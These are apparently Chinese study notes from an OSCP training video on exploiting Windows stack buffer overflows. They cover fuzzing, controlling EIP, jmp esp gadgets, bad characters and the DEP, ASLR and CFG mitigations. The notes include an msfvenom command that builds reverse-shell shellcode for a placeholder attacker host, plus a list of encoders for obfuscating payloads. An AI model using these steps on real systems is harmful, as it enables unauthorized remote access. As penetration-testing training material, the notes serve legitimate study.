【OSCP官方视频】十一、Windows缓冲区溢出

  1. 没有源代码的情况下找到代码中的漏洞
  2. 找到一种方法修改输入
  3. 操作内存获得控制

发现漏洞

  1. 代码审计
  2. 逆向
  3. FUZZ

fuzz例子

使用wireshark监听流量,看一下登录请求

然后使用python编写一个脚本,发送登录请求包,并不断增长用户名的名称

attach一个debugger在web服务器上,之前的immunity debugger无法attach到演示的web程序上,于是使用了Microsoft tcpview查看了一下进程,确定启动了之后,使用管理员权限运行debugger

当输入的用户名达到800字节时,debugger捕获到了异常,EIP地址被篡改了

web程序会崩溃,重新启动

编写exp

  1. 编写一个框架,能够触发这个溢出漏洞
  2. 控制EIP,通过提交不同字符串的数据,来定位覆盖了EIP部分数据的具体位置,可以使用msf-pattern_create -l XXX来制定长度进行快速构造。在通过msf-pattern_offset -l XXX -q XXXXXXXX来快速寻找位置,会直接提示offset。在目标地址前填充登长的垃圾字符,填充至offset就可以。
  3. 定位shellcode地址,需要一个比较大的空间存储shellcode,可以越过EIP地址,继续向下进行填充shellcode。当接触到shellcode区域的时候,ESP会弹出shellcode的地址,需要将这个地址覆盖到EIP中,这个时候就需要jump操作了,可以通过msf-nasm_shell,键入jmp esp获取操作码。然后通过debugger中的mona搜索这个操作码,在系统的模块中找到这个操作码的内存地址。这样我们把EIP填充这个地址,会去程序调用的模块的内存中执行这个jmp代码,跳转到shellcode区域。
  4. 测试坏字符,不同的环境下,不同的字节可能导致程序进行截断,因此要特殊处理。处理的方式可能就是要从00FF全都试一下,看看会不会引发异常。把00到FF所有的字符填充到shellcode区域,一点点定位引起异常的位置。通过显示在缓冲区的数据,可以查看数据是否进入了缓冲区,如果不全,说明碰到了阶段的坏字符,就要记录下。

填充EIP地址的时候注意系统的大小端模式,可能需要反序一下

最后使用msfvenom生成shellcode:msfvenom -p windwos/shell_reverse_tcp LHOST=X.X.X.X LPORT=XX -f c,生成的shellcode是C语言版本的

此外可以通过-e参数指定编码器,在通过-b参数去除坏字符

参数描述
-e x86/shikata_ga_nai使用 Shikata Ga Nai 编码来混淆 payload
-e x86/alpha_mixed使用 alpha_mixed 编码来生成混合字母数字的 payload
-e x86/unicode_mixed使用 unicode_mixed 编码生成混合 Unicode 字符的 payload
-e x86/call4_dword_xor使用 call4_dword_xor 编码来进行 XOR 加密
-e x86/countdown使用 countdown 编码来减少 payload 的大小
-e x86/avoid_utf8_tolower使用 avoid_utf8_tolower 编码来避免小写化 UTF-8 字符
-e x86/fnstenv_mov使用 fnstenv_mov 编码来混淆 payload

构造shellcode之后,有个新的问题,这个shellcode是经过编码的,在进行解码的时候,会有一个getpc例程,这个编码器的getpc例程会将寄存器的一些数据存入栈顶及其附近,而这个时候ESP和EIP的位置重叠,写入的数据很可能会覆盖掉shellcode,从而导致程序崩溃,因此要在EIP和shellcode之间添加一些nop执行,作为一个landing field。这样进行getPC例程写入数据的时候不会覆盖到shellcode区域。

当拿到shell,进行退出的时候,可能会导致程序崩溃。这个问题可以通过添加EXITFUNC=THREAD

微软对缓冲区的保护

微软对EIP的保护机制有三个DEP/ASLR/CFG

DEP(Data Execution Prevention):是一组硬件和软件技术,它们对内存执行额外的检查以帮助防止恶意代码在系统上运行。 DEP的主要好处是通过引发异常来防止从数据页执行代码。

ASLR(Address Space Layout Randomization):每次运行时,ASLR都会随机化已加载的应用程序和DLL的基地址。系统启动。在较旧的Windows操作系统(例如Windows XP)上,所有DLL每次都被加载到相同的内存地址,从而导致漏洞利用简单得多。与DEP结合使用时,ASLR可以非常有效地缓解EXP。

CFG(Control Flow Guard):Microsoft的控制流完整性实现,对间接数据执行验证

代码分支,防止覆盖函数指针。

但是编译的过程中可能会被关闭

小结

真吉尔复杂,需要对immunity Debugger操作熟练,还要对计算机原理和操作系统有深入理解、还要掌握点汇编……

6

评论区
头像
文章目录